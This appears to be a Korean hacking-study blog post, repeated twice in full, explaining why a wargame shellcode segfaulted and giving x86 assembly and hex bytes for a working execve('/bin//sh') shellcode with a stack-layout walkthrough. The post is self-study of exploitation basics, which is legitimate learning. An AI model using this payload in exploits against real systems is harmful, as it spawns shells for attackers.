esi edi 에 대한 쓰임새에 대해 조사해보자.
ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,
새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에
세그먼트폴트가 떴던 것이였다.
.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80
shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80
=================== Thax for indle bro~ ===============================
execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");
인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.
더블포인터를 어셈에서 구현해주는 것은
[adrress][null]//bin//sh[null] 로 구현가능하다.
즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고
이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]
다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.
이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.
그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다.
ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,
새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에
세그먼트폴트가 떴던 것이였다.
.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80
shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80
=================== Thax for indle bro~ ===============================
execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");
인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.
더블포인터를 어셈에서 구현해주는 것은
[adrress][null]//bin//sh[null] 로 구현가능하다.
즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고
이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]
다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.
이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.
그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다.
'System_Hacking' 카테고리의 다른 글
인드라 형님의 쉘코드 만들기 mkdir 과 execve 함수를 쉘코드 만들기 동영상 강좌 (0) | 2012.03.21 |
---|---|
어셈과 C언어를 넘나 들어 보자~ (0) | 2012.03.21 |
gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
%2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩 (0) | 2012.03.21 |